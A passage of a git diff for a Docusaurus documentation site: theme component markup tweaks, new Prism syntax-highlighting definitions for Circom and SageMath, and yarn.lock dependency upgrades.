"@docusaurus/Link" import { useBlogPost } from "@docusaurus/plugin-content-blog/client" import { ThemeClassNames } from "@docusaurus/theme-common" import EditMetaRow from "@theme/EditMetaRow" @@ -37,7 +38,9 @@ export default function BlogPostItemFooter(): ReactNode {
{tags.map((tag: BlogTag) => ( - + + + ))}
@@ -53,7 +56,9 @@ export default function BlogPostItemFooter(): ReactNode { {tagsExists && (
{tags.map((tag: BlogTag) => ( - + + + ))}
)} diff --git a/src/theme/DocItem/Layout/index.tsx b/src/theme/DocItem/Layout/index.tsx index e314b7c..6232d04 100644 --- a/src/theme/DocItem/Layout/index.tsx +++ b/src/theme/DocItem/Layout/index.tsx @@ -37,7 +37,7 @@ export default function DocItemLayout({ children }: Props): ReactNode { return (
-
+
diff --git a/src/theme/NotFound/Content/index.tsx b/src/theme/NotFound/Content/index.tsx index 998ffb6..4d711b0 100644 --- a/src/theme/NotFound/Content/index.tsx +++ b/src/theme/NotFound/Content/index.tsx @@ -7,7 +7,7 @@ import { translate } from "@docusaurus/Translate" export default function NotFoundContent() { return ( -
+
+ {children} + + ); +} diff --git a/src/theme/prism-circom.js b/src/theme/prism-circom.js new file mode 100644 index 0000000..750464b --- /dev/null +++ b/src/theme/prism-circom.js @@ -0,0 +1,47 @@ +/** + * Prism language definition for Circom + * Based on C-like syntax with Circom-specific keywords + */ + +export default function (Prism) { + Prism.languages.circom = { + 'comment': [ + { + pattern: /(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/, + lookbehind: true, + greedy: true + }, + { + pattern: /(^|[^\\:])\/\/.*/, + lookbehind: true, + greedy: true + } + ], + 'string': { + pattern: /(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/, + greedy: true + }, + 'directive': { + pattern: /pragma\s+circom\s+[^;]+;/, + alias: 'important', + inside: { + 'keyword': /pragma|circom/ + } + }, + 'include': { + pattern: /include\s+"[^"]+";/, + alias: 'important', + inside: { + 'keyword': /include/, + 'string': /"[^"]+"/ + } + }, + 'keyword': /\b(?:signal|component|template|var|function|return|if|else|for|while|do|include|pragma|circom|input|output|public|log|assert|main)\b/, + 'builtin': /\b(?:Num2Bits|Bits2Num|Poseidon|BinaryMerkleRoot|MultiMux1|IsZero|IsEqual|LessThan|Mux1|MiMC|EdDSAPoseidonVerifier|Semaphore)\b/, + 'operator': /\+\+|--|<==|==>|<--|-->|&&|\|\||[+\-*\/%&|^!<>=]=?|[?:~]/, + 'number': /\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i, + 'punctuation': /[{}[\];(),.:]/, + 'variable': /\b[a-zA-Z_]\w*\b/ + }; +} + diff --git a/src/theme/prism-include-languages.js b/src/theme/prism-include-languages.js new file mode 100644 index 0000000..61bb816 --- /dev/null +++ b/src/theme/prism-include-languages.js @@ -0,0 +1,55 @@ +/** + * Custom Prism languages loader + * This file is imported by Docusaurus to add custom language support + */ + +export default function prismIncludeLanguages(PrismObject) { + // Load standard additional languages + const additionalLanguages = ['rust', 'solidity', 'python', 'javascript', 'typescript', 'json', 'bash']; + + globalThis.Prism = PrismObject; + + additionalLanguages.forEach((lang) => { + try { + require(`prismjs/components/prism-${lang}`); // eslint-disable-line + } catch (e) { + // Language already loaded or doesn't exist + } + }); + + // Add Python aliases for SageMath and 'py' + if (PrismObject.languages.python) { + // 'py' alias + PrismObject.languages.py = PrismObject.languages.python; + + // 'sage' alias for SageMath (which is Python-based) + // Add SageMath-specific functions and keywords + PrismObject.languages.sage = PrismObject.languages.extend('python', { + 'builtin': /\b(?:GF|Ideal|gens|variety|QQ|ZZ|RR|CC|PolynomialRing|Matrix|vector|prime_range|factor|gcd|lcm|sqrt|exp|log|sin|cos|tan)\b/ + }); + + // Add common SageMath functions to the builtin pattern + PrismObject.languages.insertBefore('sage', 'builtin', { + 'sage-function': /\b(?:Ideal|variety|gens|extend|insertBefore)\b/ + }); + } + + // Define Circom language - SSR-safe approach + // We'll make it an alias/extension of JavaScript with Circom keywords + if (!PrismObject.languages.circom) { + // Start with JavaScript as base (it's already loaded) + PrismObject.languages.circom = PrismObject.languages.extend('javascript', { + keyword: /\b(?:signal|component|template|var|function|return|if|else|for|while|do|include|pragma|circom|input|output|public|log|assert|main|break|continue|const|let)\b/, + 'class-name': /\b[A-Z]\w*\b/ + }); + + // Add Circom-specific builtins + PrismObject.languages.insertBefore('circom', 'keyword', { + 'builtin': /\b(?:Poseidon|Num2Bits|Bits2Num|IsZero|IsEqual|LessThan|GreaterThan|MultiMux1|BinaryMerkleRoot|Mux1|Mux2|Mux3|MiMC|MiMCSponge|EdDSA|Pedersen|SMT)\b/, + 'operator': /[<>]=?|\*\*|[-+*/%]|===?|!==?|&&|\|\|/ + }); + } + + delete globalThis.Prism; +} + diff --git a/src/utils/prism-circom.js b/src/utils/prism-circom.js new file mode 100644 index 0000000..107876a --- /dev/null +++ b/src/utils/prism-circom.js @@ -0,0 +1,45 @@ +// Prism language definition for Circom +// This file can be used both on server (SSR) and client side + +module.exports = function (Prism) { + // Define Circom language based on C-like syntax + Prism.languages.circom = Prism.languages.extend('clike', { + 'comment': [ + { + pattern: /(^|[^\\])\/\*[\s\S]*?(?:\*\/|$)/, + lookbehind: true, + greedy: true + }, + { + pattern: /(^|[^\\:])\/\/.*/, + lookbehind: true, + greedy: true + } + ], + 'string': { + pattern: /(["'])(?:\\(?:\r\n|[\s\S])|(?!\1)[^\\\r\n])*\1/, + greedy: true + }, + 'directive': { + pattern: /pragma\s+circom\s+[^;]+;/, + alias: 'important', + inside: { + 'keyword': /pragma|circom/ + } + }, + 'include': { + pattern: /include\s+"[^"]+";/, + alias: 'important', + inside: { + 'keyword': /include/, + 'string': /"[^"]+"/ + } + }, + 'keyword': /\b(?:signal|component|template|var|function|return|if|else|for|while|do|include|pragma|circom|input|output|public|log|assert|main)\b/, + 'builtin': /\b(?:Num2Bits|Bits2Num|Poseidon|BinaryMerkleRoot|MultiMux1|IsZero|IsEqual|LessThan|Mux1|MiMC|EdDSAPoseidonVerifier|Semaphore)\b/, + 'operator': /\+\+|--|<==|==>|<--|-->|&&|\|\||[+\-*\/%&|^!<>=]=?|[?:~]/, + 'number': /\b0x[\da-f]+\b|(?:\b\d+(?:\.\d*)?|\B\.\d+)(?:e[+-]?\d+)?/i, + 'punctuation': /[{}[\];(),.:]/ + }); +}; + diff --git a/yarn.lock b/yarn.lock index fe6d71e..fbbe6da 100644 --- a/yarn.lock +++ b/yarn.lock @@ -5,125 +5,178 @@ __metadata: version: 8 cacheKey: 10c0 -"@algolia/autocomplete-core@npm:1.17.9": - version: 1.17.9 - resolution: "@algolia/autocomplete-core@npm:1.17.9" +"@ai-sdk/gateway@npm:2.0.0": + version: 2.0.0 + resolution: "@ai-sdk/gateway@npm:2.0.0" dependencies: - "@algolia/autocomplete-plugin-algolia-insights": "npm:1.17.9" - "@algolia/autocomplete-shared": "npm:1.17.9" - checksum: 10c0/e1111769a8723b9dd45fc38cd7edc535c86c1f908b84b5fdc5de06ba6b8c7aca14e5f52ebce84fa5f7adf857332e396b93b7e7933b157b2c9aefc0a19d9574ab + "@ai-sdk/provider": "npm:2.0.0" + "@ai-sdk/provider-utils": "npm:3.0.12" + "@vercel/oidc": "npm:3.0.3" + peerDependencies: + zod: ^3.25.76 || ^4.1.8 + checksum: 10c0/720cfb827bc64f3eb6bb86d17e7e7947c54bdc7d74db7f6e9e162be0973a45368c05829e4b257704182ca9c4886e7f3c74f6b64841e88359930f48f288aa958a languageName: node linkType: hard -"@algolia/autocomplete-plugin-algolia-insights@npm:1.17.9": - version: 1.17.9 - resolution: "@algolia/autocomplete-plugin-algolia-insights@npm:1.17.9" +"@ai-sdk/provider-utils@npm:3.0.12": + version: 3.0.12 + resolution: "@ai-sdk/provider-utils@npm:3.0.12" dependencies: - "@algolia/autocomplete-shared": "npm:1.17.9" + "@ai-sdk/provider": "npm:2.0.0" + "@standard-schema/spec": "npm:^1.0.0" + eventsource-parser: "npm:^3.0.5" peerDependencies: - search-insights: ">= 1 < 3" - checksum: 10c0/05c21502631643abdcd6e9f70b5814a60d34bad59bca501e26e030fd72e689be5cecfb6e8939a0a1bdcb2394591e55e26a42a82c7247528eafeff714db0819a4 + zod: ^3.25.76 || ^4.1.8 + checksum: 10c0/83886bf188cad0cc655b680b710a10413989eaba9ec59dd24a58b985c02a8a1d50ad0f96dd5259385c07592ec3c37a7769fdf4a1ef569a73c9edbdb2cd585915 languageName: node linkType: hard -"@algolia/autocomplete-preset-algolia@npm:1.17.9": - version: 1.17.9 - resolution: "@algolia/autocomplete-preset-algolia@npm:1.17.9" +"@ai-sdk/provider@npm:2.0.0": + version: 2.0.0 + resolution: "@ai-sdk/provider@npm:2.0.0" dependencies: - "@algolia/autocomplete-shared": "npm:1.17.9" + json-schema: "npm:^0.4.0" + checksum: 10c0/e50e520016c9fc0a8b5009cadd47dae2f1c81ec05c1792b9e312d7d15479f024ca8039525813a33425c884e3449019fed21043b1bfabd6a2626152ca9a388199 + languageName: node + linkType: hard + +"@ai-sdk/react@npm:^2.0.30": + version: 2.0.75 + resolution: "@ai-sdk/react@npm:2.0.75" + dependencies: + "@ai-sdk/provider-utils": "npm:3.0.12" + ai: "npm:5.0.75" + swr: "npm:^2.2.5" + throttleit: "npm:2.1.0" peerDependencies: - "@algolia/client-search": ">= 4.9.1 < 6" - algoliasearch: ">= 4.9.1 < 6" - checksum: 10c0/99159c7e02a927d0d96717cb4cfd2f8dbc4da73267a8eae4f83af5bf74087089f6e7dbffd316512e713a4cc534e936b6a7ccb5c4a5ff84b4bf73f2d3cc050e79 + react: ^18 || ^19 || ^19.0.0-rc + zod: ^3.25.76 || ^4.1.8 + peerDependenciesMeta: + zod: + optional: true + checksum: 10c0/3f39dc51aa7ad2ae95049c484cf8180bd8fd8603ff124aa94cff4a0e9c65a5d156282f3d6523b06b1670fde6923c5cd8bf5a7a1b7d894718842d6d63c5bee80f languageName: node linkType: hard -"@algolia/autocomplete-shared@npm:1.17.9": - version: 1.17.9 - resolution: "@algolia/autocomplete-shared@npm:1.17.9" +"@algolia/abtesting@npm:1.6.1": + version: 1.6.1 + resolution: "@algolia/abtesting@npm:1.6.1" + dependencies: + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/762d3426fcec932b1e8cd7150d2f8dc0a8360259f7486b24da39bfe2a34ec3603fe14952876bb681768824f03169d56bbdc3169bbae37eb013872dc9b770436d + languageName: node + linkType: hard + +"@algolia/autocomplete-core@npm:1.19.2": + version: 1.19.2 + resolution: "@algolia/autocomplete-core@npm:1.19.2" + dependencies: + "@algolia/autocomplete-plugin-algolia-insights": "npm:1.19.2" + "@algolia/autocomplete-shared": "npm:1.19.2" + checksum: 10c0/383952bc43a31f0771987416c350471824e480fcd15e1db8ae13386cd387879f1c81eadafceffa69f87e6b8e59fb1aa713da375fc07a30c5d8edb16a157b5f45 + languageName: node + linkType: hard + +"@algolia/autocomplete-plugin-algolia-insights@npm:1.19.2": + version: 1.19.2 + resolution: "@algolia/autocomplete-plugin-algolia-insights@npm:1.19.2" + dependencies: + "@algolia/autocomplete-shared": "npm:1.19.2" + peerDependencies: + search-insights: ">= 1 < 3" + checksum: 10c0/8548b6514004dbf6fb34d6da176ac911371f3e84724ef6b94600cd84d29339d2f44cead03d7c0d507b130da0d9acc61f6e4c9a0fba6f967a5ae2a42eea93f0c1 + languageName: node + linkType: hard + +"@algolia/autocomplete-shared@npm:1.19.2": + version: 1.19.2 + resolution: "@algolia/autocomplete-shared@npm:1.19.2" peerDependencies: "@algolia/client-search": ">= 4.9.1 < 6" algoliasearch: ">= 4.9.1 < 6" - checksum: 10c0/b318281aecdaae09171b47ee4f7bc66b613852cad4506e9d6278fff35ba68a12dd9cce2d90b5f4c3ba0e3d7d780583cbe46b22275260e41bbf09fb01e4a18f49 + checksum: 10c0/eee6615e6d9e6db7727727e442b876a554a6eda6f14c1d55d667ed2d14702c4c888a34b9bfb18f66ccc6d402995b2c7c37ace9f19ce9fc9c83bbb623713efbc4 languageName: node linkType: hard -"@algolia/client-abtesting@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/client-abtesting@npm:5.25.0" +"@algolia/client-abtesting@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/client-abtesting@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/614044c066e34cbc41b74a2242c3b0a08e952e96f90e0f2afbcd04711cf29fa88dea211f15bcef162bfd15b3f27555641bff229618cdf45bb83fe7c48100a7bf + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/8e10327d57b15fc8831a660b2be8493370893d1b21fd953fa7c7c73ac56169ac847e88ac85fefb68f5c4b26067650e3c8b7fd10ff768473a0ba4e3368da07a02 languageName: node linkType: hard -"@algolia/client-analytics@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/client-analytics@npm:5.25.0" +"@algolia/client-analytics@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/client-analytics@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/76068a9558df85c469c77a8facd10927800c347363b1b73e43fbecc3e2de9d1404e0c3769c1e2d7e4670f0b435c819f239f5399d81728a9d735b72f9a1a9df53 + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/b23ded1ccfca50ed10e94be13842f97ed21bd8e9be26cff1fa75030e15363640062fadd8bcbd00f25ee1f204fee92113e83a74aeec554b9a0e75bc4c03750f47 languageName: node linkType: hard -"@algolia/client-common@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/client-common@npm:5.25.0" - checksum: 10c0/e75370c9e5353badcd322db3b573a1f1cad1dbe5e576552e940c3db848778cd0849a028894da3f08dc551e3a53d1613239bc8cb06eef6dd4734e93ce5f49a895 +"@algolia/client-common@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/client-common@npm:5.40.1" + checksum: 10c0/912ed3d42c40ecc17865651842bb6a58f61f1020c116fdd9f6f47fa0c4bc39d8d7261709a28a74c7586d70cd4080a4408fecd82589cb47e8f66ac4e1189fac0a languageName: node linkType: hard -"@algolia/client-insights@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/client-insights@npm:5.25.0" +"@algolia/client-insights@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/client-insights@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/8bbabcf7a86a649932b56525843d2b431c89077576e939832152859be398e9bf31a54b6c1565086b9e66deef045216d85adac8edcf538ebc9bcefc80f1a9711d + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/5943f436165d326e732db0f44a4e68c43972c76369050f27095e560be0e239b6359148ee56210380a8f0b7167a7f8e2df0a8dccb53b1f78258431cea4a8f2887 languageName: node linkType: hard -"@algolia/client-personalization@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/client-personalization@npm:5.25.0" +"@algolia/client-personalization@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/client-personalization@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/0d937519adbf0231e985718e32e7b0e54d15d30a01bd0491c357eb937a4ebb44a6b8024de736cb1da5919ca23e10a6dbb1bdda06ed46848e15d1bb3a9533f0fc + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/b140478fe51897d731ca10a47789a8effa05b1814191e1e2c258d7df8bcedaa055886454083a27c561a703e051891eb273cd4d7df0fc916b3a7b00fa0fec061a languageName: node linkType: hard -"@algolia/client-query-suggestions@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/client-query-suggestions@npm:5.25.0" +"@algolia/client-query-suggestions@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/client-query-suggestions@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/84f327d0bd98c2da8b37d3c51712baa794d44e78fd7e60f372899b882ac4d02e1836df27ed397dcb3deede820c7a8f20d1c043378166baaf1f855c89551cc5fd + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/c0cfa78b7a2bfe349b44320abc1bbf0860887111716254f409d1190d5974eb3ac8b6bc66b65560e12d8d67898e49ae66283a84302850c890067344e731b7f715 languageName: node linkType: hard -"@algolia/client-search@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/client-search@npm:5.25.0" +"@algolia/client-search@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/client-search@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/5a09f4e66aa802ec7a292595f8d08dcd7de12683d0ddde1feb640062011dbd8bd8b521627f7c904e27e0f3e80ad8a451e58e0bc790b0f2e4faf4e55dfe2df297 + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/1886c0ea5a1e98d06c2b401bb999caa6924b9c9974f3d253eee557f6cf3d18e71270efbc1dfce956b090e038056ecc6a9f4389f0665f7276e62f2eb9f3889ed2 languageName: node linkType: hard @@ -134,66 +187,66 @@ __metadata: languageName: node linkType: hard -"@algolia/ingestion@npm:1.25.0": - version: 1.25.0 - resolution: "@algolia/ingestion@npm:1.25.0" +"@algolia/ingestion@npm:1.40.1": + version: 1.40.1 + resolution: "@algolia/ingestion@npm:1.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/6c2ffddaabfa62a87c45917ddd311d12adca1263de22be4c9023e7d526cc43c2a6fe1a5ea28f46a118762bd8a143bba903aded9ba3c70953e6f6af67e6b9e12f + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/4755caafd9a86c17249718d435d7abfa77fc133263c838539792c0d382551e48ea00ba61542f3ddca597801c76c94d6d1f933ce91e955128874caf3c2c8216ae languageName: node linkType: hard -"@algolia/monitoring@npm:1.25.0": - version: 1.25.0 - resolution: "@algolia/monitoring@npm:1.25.0" +"@algolia/monitoring@npm:1.40.1": + version: 1.40.1 + resolution: "@algolia/monitoring@npm:1.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/d28b0af9ff0e864ad8ada43e735d763052b605410813c26ea595c21b9a3bcc323ebf3b04e810bc23cc8c28840952dbda7d111d583b8884e91e5692a14ad427e8 + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/a89610dc033f772daea9fb486532b97b1be7d62405b83d0ff509a8b664af37fd9bda23ff86d8c4aa109483ee5c32d7ab85060939d1820ea6e3706f295460be41 languageName: node linkType: hard -"@algolia/recommend@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/recommend@npm:5.25.0" +"@algolia/recommend@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/recommend@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - "@algolia/requester-browser-xhr": "npm:5.25.0" - "@algolia/requester-fetch": "npm:5.25.0" - "@algolia/requester-node-http": "npm:5.25.0" - checksum: 10c0/cfab69aec97096ac4db3fb7a20af3e6263362ad65100e33f1523ddfdb37a3bd1ca8d4002e83f8b52009ca5650cb9486e9e38410fb0f0b49336cd8c2bed58cd0e + "@algolia/client-common": "npm:5.40.1" + "@algolia/requester-browser-xhr": "npm:5.40.1" + "@algolia/requester-fetch": "npm:5.40.1" + "@algolia/requester-node-http": "npm:5.40.1" + checksum: 10c0/c5da429a91b34c57264d1ddede922f8361fec5e8b0e7453f0a6229e81bb143dac748ccb811ed8f34de8a0ca7e3ed453debaa717ea468bdddd568b4c953875666 languageName: node linkType: hard -"@algolia/requester-browser-xhr@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/requester-browser-xhr@npm:5.25.0" +"@algolia/requester-browser-xhr@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/requester-browser-xhr@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - checksum: 10c0/c190525b68d7d255568d20e6024094bb8b273f3234f698e4da52edb97697cddb5df99038f5dc780a54da9c89837c8e6d81e2e230ab2f819b6ec689ebbabd049a + "@algolia/client-common": "npm:5.40.1" + checksum: 10c0/a3f47ed83a93702e20927b13a3471923842a0f2f45f443e70ea5e428e486bbc460d31ea05e0900dcb54629576127b44de9f69e95135f6008bde280b7d9efa139 languageName: node linkType: hard -"@algolia/requester-fetch@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/requester-fetch@npm:5.25.0" +"@algolia/requester-fetch@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/requester-fetch@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - checksum: 10c0/126ed1c1cd6033a979da071018a5a1ada00df87e7ef5196385b6f241ca8f41f77c40827461a1aa04612a75ba651786c50b8e7a9f7636ba58b723c8bf8fd039a1 + "@algolia/client-common": "npm:5.40.1" + checksum: 10c0/da0b00adfd270e7cd8a1fff7216edae58fb7ff7ef980ee46275aeed885a34be8e7737f2127ffbacc7c1348720424e0fab8389321d6c7337457b4b48d544285ba languageName: node linkType: hard -"@algolia/requester-node-http@npm:5.25.0": - version: 5.25.0 - resolution: "@algolia/requester-node-http@npm:5.25.0" +"@algolia/requester-node-http@npm:5.40.1": + version: 5.40.1 + resolution: "@algolia/requester-node-http@npm:5.40.1" dependencies: - "@algolia/client-common": "npm:5.25.0" - checksum: 10c0/310ecc88d6769b67d1959dfb11554699759ad358ce88b20edbe82cc007511efda3777451b3194ff26a600dc41bfe49588a74168c3f122302b945fe4e2e8b2063 + "@algolia/client-common": "npm:5.40.1" + checksum: 10c0/04502d374ef7b0639c396704e7101da840cbc7f80588c76cca96fdbdc4e3e31d7bbcea00776c1e93f46c6a82a08ea579ead8f1e0872560e09000773734cc17c0 languageName: node linkType: hard @@ -204,17 +257,7 @@ __metadata: languageName: node linkType: hard -"@ampproject/remapping@npm:^2.2.0, @ampproject/remapping@npm:^2.3.0": - version: 2.3.0 - resolution: "@ampproject/remapping@npm:2.3.0" - dependencies: - "@jridgewell/gen-mapping": "npm:^0.3.5" - "@jridgewell/trace-mapping": "npm:^0.3.24" - checksum: 10c0/81d63cca5443e0f0c72ae18b544cc28c7c0ec2cea46e7cb888bb0e0f411a1191d0d6b7af798d54e30777d8d1488b2ec0732aac2be342d3d7d3ffd271c6f489ed - languageName: node - linkType: hard - -"@babel/code-frame@npm:^7.0.0, @babel/code-frame@npm:^7.16.0, @babel/code-frame@npm:^7.27.1, @babel/code-frame@npm:^7.8.3": +"@babel/code-frame@npm:^7.0.0, @babel/code-frame@npm:^7.27.1": version: 7.27.1 resolution: "@babel/code-frame@npm:7.27.1" dependencies: @@ -225,59 +268,59 @@ __metadata: languageName: node linkType: hard -"@babel/compat-data@npm:^7.22.6, @babel/compat-data@npm:^7.27.2": - version: 7.27.2 - resolution: "@babel/compat-data@npm:7.27.2" - checksum: 10c0/077c9e01af3b90decee384a6a44dcf353898e980cee22ec7941f9074655dbbe97ec317345536cdc7ef7391521e1497930c522a3816af473076dd524be7fccd32 +"@babel/compat-data@npm:^7.27.2, @babel/compat-data@npm:^7.27.7, @babel/compat-data@npm:^7.28.0": + version: 7.28.4 + resolution: "@babel/compat-data@npm:7.28.4" + checksum: 10c0/9d346471e0a016641df9a325f42ad1e8324bbdc0243ce4af4dd2b10b974128590da9eb179eea2c36647b9bb987343119105e96773c1f6981732cd4f87e5a03b9 languageName: node linkType: hard "@babel/core@npm:^7.21.3, @babel/core@npm:^7.25.9": - version: 7.27.1 - resolution: "@babel/core@npm:7.27.1" + version: 7.28.4 + resolution: "@babel/core@npm:7.28.4" dependencies: - "@ampproject/remapping": "npm:^2.2.0" "@babel/code-frame": "npm:^7.27.1" - "@babel/generator": "npm:^7.27.1" - "@babel/helper-compilation-targets": "npm:^7.27.1" - "@babel/helper-module-transforms": "npm:^7.27.1" - "@babel/helpers": "npm:^7.27.1" - "@babel/parser": "npm:^7.27.1" - "@babel/template": "npm:^7.27.1" - "@babel/traverse": "npm:^7.27.1" - "@babel/types": "npm:^7.27.1" + "@babel/generator": "npm:^7.28.3" + "@babel/helper-compilation-targets": "npm:^7.27.2" + "@babel/helper-module-transforms": "npm:^7.28.3" + "@babel/helpers": "npm:^7.28.4" + "@babel/parser": "npm:^7.28.4" + "@babel/template": "npm:^7.27.2" + "@babel/traverse": "npm:^7.28.4" + "@babel/types": "npm:^7.28.4" + "@jridgewell/remapping": "npm:^2.3.5" convert-source-map: "npm:^2.0.0" debug: "npm:^4.1.0" gensync: "npm:^1.0.0-beta.2" json5: "npm:^2.2.3" semver: "npm:^6.3.1" - checksum: 10c0/0fc31f87f5401ac5d375528cb009f4ea5527fc8c5bb5b64b5b22c033b60fd0ad723388933a5f3f5db14e1edd13c958e9dd7e5c68f9b68c767aeb496199c8a4bb + checksum: 10c0/ef5a6c3c6bf40d3589b5593f8118cfe2602ce737412629fb6e26d595be2fcbaae0807b43027a5c42ec4fba5b895ff65891f2503b5918c8a3ea3542ab44d4c278 languageName: node linkType: hard -"@babel/generator@npm:^7.25.9, @babel/generator@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/generator@npm:7.27.1" +"@babel/generator@npm:^7.25.9, @babel/generator@npm:^7.28.3": + version: 7.28.3 + resolution: "@babel/generator@npm:7.28.3" dependencies: - "@babel/parser": "npm:^7.27.1" - "@babel/types": "npm:^7.27.1" - "@jridgewell/gen-mapping": "npm:^0.3.5" - "@jridgewell/trace-mapping": "npm:^0.3.25" + "@babel/parser": "npm:^7.28.3" + "@babel/types": "npm:^7.28.2" + "@jridgewell/gen-mapping": "npm:^0.3.12" + "@jridgewell/trace-mapping": "npm:^0.3.28" jsesc: "npm:^3.0.2" - checksum: 10c0/c4156434b21818f558ebd93ce45f027c53ee570ce55a84fd2d9ba45a79ad204c17e0bff753c886fb6c07df3385445a9e34dc7ccb070d0ac7e80bb91c8b57f423 + checksum: 10c0/0ff58bcf04f8803dcc29479b547b43b9b0b828ec1ee0668e92d79f9e90f388c28589056637c5ff2fd7bcf8d153c990d29c448d449d852bf9d1bc64753ca462bc languageName: node linkType: hard -"@babel/helper-annotate-as-pure@npm:^7.27.1": - version: 7.27.1 - resolution: "@babel/helper-annotate-as-pure@npm:7.27.1" +"@babel/helper-annotate-as-pure@npm:^7.27.1, @babel/helper-annotate-as-pure@npm:^7.27.3": + version: 7.27.3 + resolution: "@babel/helper-annotate-as-pure@npm:7.27.3" dependencies: - "@babel/types": "npm:^7.27.1" - checksum: 10c0/fc4751b59c8f5417e1acb0455d6ffce53fa5e79b3aca690299fbbf73b1b65bfaef3d4a18abceb190024c5836bb6cfbc3711e83888648df93df54e18152a1196c + "@babel/types": "npm:^7.27.3" + checksum: 10c0/94996ce0a05b7229f956033e6dcd69393db2b0886d0db6aff41e704390402b8cdcca11f61449cb4f86cfd9e61b5ad3a73e4fa661eeed7846b125bd1c33dbc633 languageName: node linkType: hard -"@babel/helper-compilation-targets@npm:^7.22.6, @babel/helper-compilation-targets@npm:^7.27.1, @babel/helper-compilation-targets@npm:^7.27.2": +"@babel/helper-compilation-targets@npm:^7.27.1, @babel/helper-compilation-targets@npm:^7.27.2": version: 7.27.2 resolution: "@babel/helper-compilation-targets@npm:7.27.2" dependencies: @@ -290,20 +333,20 @@ __metadata: languageName: node linkType: hard -"@babel/helper-create-class-features-plugin@npm:^7.27.1": - version: 